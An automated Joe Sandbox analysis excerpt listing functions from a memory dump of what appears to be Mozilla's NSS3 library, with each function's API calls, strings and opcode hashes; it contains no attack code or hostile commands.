free.MOZGLUE(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC15E3E
free.MOZGLUE(?,?,?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC15E47
free.MOZGLUE(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC15E78
free.MOZGLUE(?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC15EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC15EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC15F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC15F4B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: efa515eff6f9965c71aa04d4d44c780c294e0f295a1ff7fd84cf4ea1fac8fb32
Instruction ID: ffc23cf3d259d7231ad53f41dcfd12030d0685143747f4152415a7f4d57425cb
Opcode Fuzzy Hash: efa515eff6f9965c71aa04d4d44c780c294e0f295a1ff7fd84cf4ea1fac8fb32
Instruction Fuzzy Hash: 49719EB9E04B019FD700DF24D884A92B7B5FF89308F148569E85E87B11EB32F955CB92

Function 6CB98DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CB98E22
EnterCriticalSection.KERNEL32(?), ref: 6CB98E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CB98E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CB98E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB98E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB98EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CB98EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB98EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CB98F00
free.MOZGLUE(?), ref: 6CB98F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CB98F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CB98F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CB98F5B
PR_Unlock.NSS3(?), ref: 6CB98F72
PR_Unlock.NSS3(?), ref: 6CB98F82

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 2ad5d7a88ebb0034750a8d7544fa23dbde4366920e9671b5bab3ca60def90cf0
Instruction ID: 2c32eb928bfddbb6482ef4b097a9954a15cbf0cf1d697a35ced4d2536a9d9738
Opcode Fuzzy Hash: 2ad5d7a88ebb0034750a8d7544fa23dbde4366920e9671b5bab3ca60def90cf0
Instruction Fuzzy Hash: 3C51D2B2E00615AFEB009F68CC8496EB7B9FF56358F15453AE8089B710E732ED4587E1

Function 6CBBCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CBBCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CBBCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CBBCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CBBCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CBBCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CBBCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CBBCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CBBCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CBBCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CBBCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CBBCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CBBCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CBBCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CBBD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CBBD021

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 4ca0eff70f415d8f37ea29f608b72782266e0a0e2a9580bab72a1f1b1dc236c6
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: F03166717529D127EF0D10666D31BEE244ECB6931EF450038F90AF57C0FA99AA1702EB

Function 6CC90FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CC91000

Part of subcall function 6CC49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB71A48), ref: 6CC49BB3
Part of subcall function 6CC49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB71A48), ref: 6CC49BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC91016

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_Unlock.NSS3(?), ref: 6CC91021

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC91046
PR_Unlock.NSS3(?), ref: 6CC9106B
PR_Lock.NSS3 ref: 6CC91079
PR_Unlock.NSS3 ref: 6CC91096
free.MOZGLUE(?), ref: 6CC910A7
free.MOZGLUE(?), ref: 6CC910B4
PR_DestroyCondVar.NSS3(?), ref: 6CC910BF
PR_DestroyCondVar.NSS3(?), ref: 6CC910CA
PR_DestroyCondVar.NSS3(?), ref: 6CC910D5
PR_DestroyCondVar.NSS3(?), ref: 6CC910E0
PR_DestroyLock.NSS3(?), ref: 6CC910EB
free.MOZGLUE(?), ref: 6CC91105

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 7d250e5aca7c7cd71a2dad835d84e3a94050eccef49016a52d130c77ea153cd7
Instruction ID: 96cdb6f27556177a79d4c50b746452d456bed4b9f1e623f826b203e8a0cac0c5
Opcode Fuzzy Hash: 7d250e5aca7c7cd71a2dad835d84e3a94050eccef49016a52d130c77ea153cd7
Instruction Fuzzy Hash: 5D316AB5900851ABE7119F19ED42A89B779FF05318F584170E80912F61F732F9B8DBD2

Function 6CBA5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBA5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CBA5EE3
PR_Unlock.NSS3(?), ref: 6CBA5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CBA5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CBA61F4

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 30dad8fc9f78fc94e2a5e03688c757e969075ecb67de1165a74b68b5f054742a
Instruction ID: ccb867b139e34f06b2694a3dd54f14b96120ccc6768471c736a4c8fdef41651f
Opcode Fuzzy Hash: 30dad8fc9f78fc94e2a5e03688c757e969075ecb67de1165a74b68b5f054742a
Instruction Fuzzy Hash: D1F117B5A042158FDB54CF58C88478ABBF4FF09304F1581AADC489B346E775EA89CF91

Function 6CB0DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB0DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CB0DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB0DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CB0DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0DECD

Strings

database corruption, xrefs: 6CB0DF77, 6CB0DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0DF6D, 6CB0DFCC, 6CB0DFDD
%s at line %d of [%.10s], xrefs: 6CB0DF7C, 6CB0DFEC

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9ca62c4a8bc3ff864706b783c74ddc334dc95d0f69f270f033ab2237dcfdf5be
Instruction ID: 2cdd44e6ab6cb0be447233cb0c325e8535728da36db89723b4ce1f5798b4c186
Opcode Fuzzy Hash: 9ca62c4a8bc3ff864706b783c74ddc334dc95d0f69f270f033ab2237dcfdf5be
Instruction Fuzzy Hash: 00A1F8717042919FC710DF39D880A6ABBF5EF95308F15896DF8898BB91E730E845CB92

Function 6CBCEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CBCEE0B

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBCEEE1

Part of subcall function 6CBC1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CBC1D7E
Part of subcall function 6CBC1D50: EnterCriticalSection.KERNEL32(?), ref: 6CBC1D8E
Part of subcall function 6CBC1D50: PR_Unlock.NSS3(?), ref: 6CBC1DD3

TlsGetValue.KERNEL32 ref: 6CBCEE51
EnterCriticalSection.KERNEL32(?), ref: 6CBCEE65
PR_Unlock.NSS3(?), ref: 6CBCEEA2
free.MOZGLUE(?), ref: 6CBCEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CBCEED0
PR_Unlock.NSS3(?), ref: 6CBCEF48
free.MOZGLUE(?), ref: 6CBCEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CBCEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CBCEFA4
free.MOZGLUE(?), ref: 6CBCEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBCF055
free.MOZGLUE(?), ref: 6CBCF060

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: d9ffad2abffc87c2c955233f1eb34218d9a20850130e6a3aa4233818dad94b98
Instruction ID: 78682c97a6b0446a7fc51a95ac9c5e7a6bf7e491a151b92c2084285b430471f1
Opcode Fuzzy Hash: d9ffad2abffc87c2c955233f1eb34218d9a20850130e6a3aa4233818dad94b98
Instruction Fuzzy Hash: 72818471E002499BEF00DFA4DC45ADE7BB5FF08358F544024E909A7711E731E954CBA2

Function 6CB94CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CB94D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CB94D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CB94DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB94E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CB94E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CB94E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CB94E85
DER_Encode_Util.NSS3(?,?,6CCE05A4,00000000), ref: 6CB94EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CB94F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CB94F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB94F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB94F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB94F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB94FC8

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 013ac8ff7bf6d236f6ee6a8e9e628aa3ac26bc0afc31c9aa8e1c11351ce029ab
Instruction ID: 4a641ef98ca6649722e1dddcb4d3fe23e1bd81ba08a01cf75b5a127e3412b5dd
Opcode Fuzzy Hash: 013ac8ff7bf6d236f6ee6a8e9e628aa3ac26bc0afc31c9aa8e1c11351ce029ab
Instruction Fuzzy Hash: FA818F719083429FEB01CF24D840B5AB7E4EB8A758F158939F96DDB641EB30E905CB92

Function 6CBD5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CBD5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CBD5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CBD5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CBD5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CBD5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CBD5E18
TlsGetValue.KERNEL32 ref: 6CBD5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CBD5E72
PR_Unlock.NSS3(?), ref: 6CBD5E8B

Part of subcall function 6CBCF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CBCF854
Part of subcall function 6CBCF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CBCF868
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CBCF882
Part of subcall function 6CBCF820: free.MOZGLUE(04C483FF,?,?), ref: 6CBCF889
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CBCF8A4
Part of subcall function 6CBCF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CBCF8AB
Part of subcall function 6CBCF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CBCF8C9
Part of subcall function 6CBCF820: free.MOZGLUE(280F10EC,?,?), ref: 6CBCF8D0

Strings

d, xrefs: 6CBD5C36
tokens=[0x%x=<%s>], xrefs: 6CBD5D3D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: c83fc40a45a44c083cc7fa2748d5caad3577be82fb96f9bdb93df05ffa65a73e
Instruction ID: 20336bbd3bfa332aaddac01a689b87f59971a2d519432c098d9c1fd038f03fa4
Opcode Fuzzy Hash: c83fc40a45a44c083cc7fa2748d5caad3577be82fb96f9bdb93df05ffa65a73e
Instruction Fuzzy Hash: 2F71C5F0A051859BEB01AF24EC45B6E3375EF4531DF190035D8099AB42EB32F959CBE6

Function 6CBC8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBC9582), ref: 6CBC8F5B

Part of subcall function 6CBDBE30: SECOID_FindOID_Util.NSS3(6CB9311B,00000000,?,6CB9311B,?), ref: 6CBDBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CBC8F6A

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBC8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CBC8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CCAD820,6CBC9576), ref: 6CBC8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CBC901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CBC903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBC9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CBC90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CBC90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CBC90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBC912D
free.MOZGLUE(00000000), ref: 6CBC9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CBC9145

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: eb7c92d55da03e5be1730aa30d96744b5634e2117b9257577c1dbb87e2b0d573
Instruction ID: bd0ced26b092c88fff7d01356f0af7d9ca93a6def965a16add79c209339558ba
Opcode Fuzzy Hash: eb7c92d55da03e5be1730aa30d96744b5634e2117b9257577c1dbb87e2b0d573
Instruction Fuzzy Hash: 9F51B1B2A042809BEB00CF28DC41A9AB7E9EF94358F054929EC59D7741EB35E945CBD3

Function 6CB7AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CB7AF47

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

FreeLibrary.KERNEL32(?), ref: 6CB7AF6D
free.MOZGLUE(?), ref: 6CB7AFA4
free.MOZGLUE(?), ref: 6CB7AFAA
PR_ExitMonitor.NSS3 ref: 6CB7AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CB7AFF5
PR_ExitMonitor.NSS3 ref: 6CB7B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB7B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CB7B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB7B03C

Strings

Unloaded library %s, xrefs: 6CB7B023
%s decr => %d, xrefs: 6CB7AFF0

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 3c878177a3df04193b8606602ed6fc708f6aa838fe8c060424be340bc01e4fef
Instruction ID: 80d943da0d77fa7c5a586c6f521edd5ad8a8df8d82ddda6f4b94528a8868af38
Opcode Fuzzy Hash: 3c878177a3df04193b8606602ed6fc708f6aa838fe8c060424be340bc01e4fef
Instruction Fuzzy Hash: 163106B5B04151ABEF619F64DC44A59B779EB0A308B188135EC25DBA41F732E824CFF2

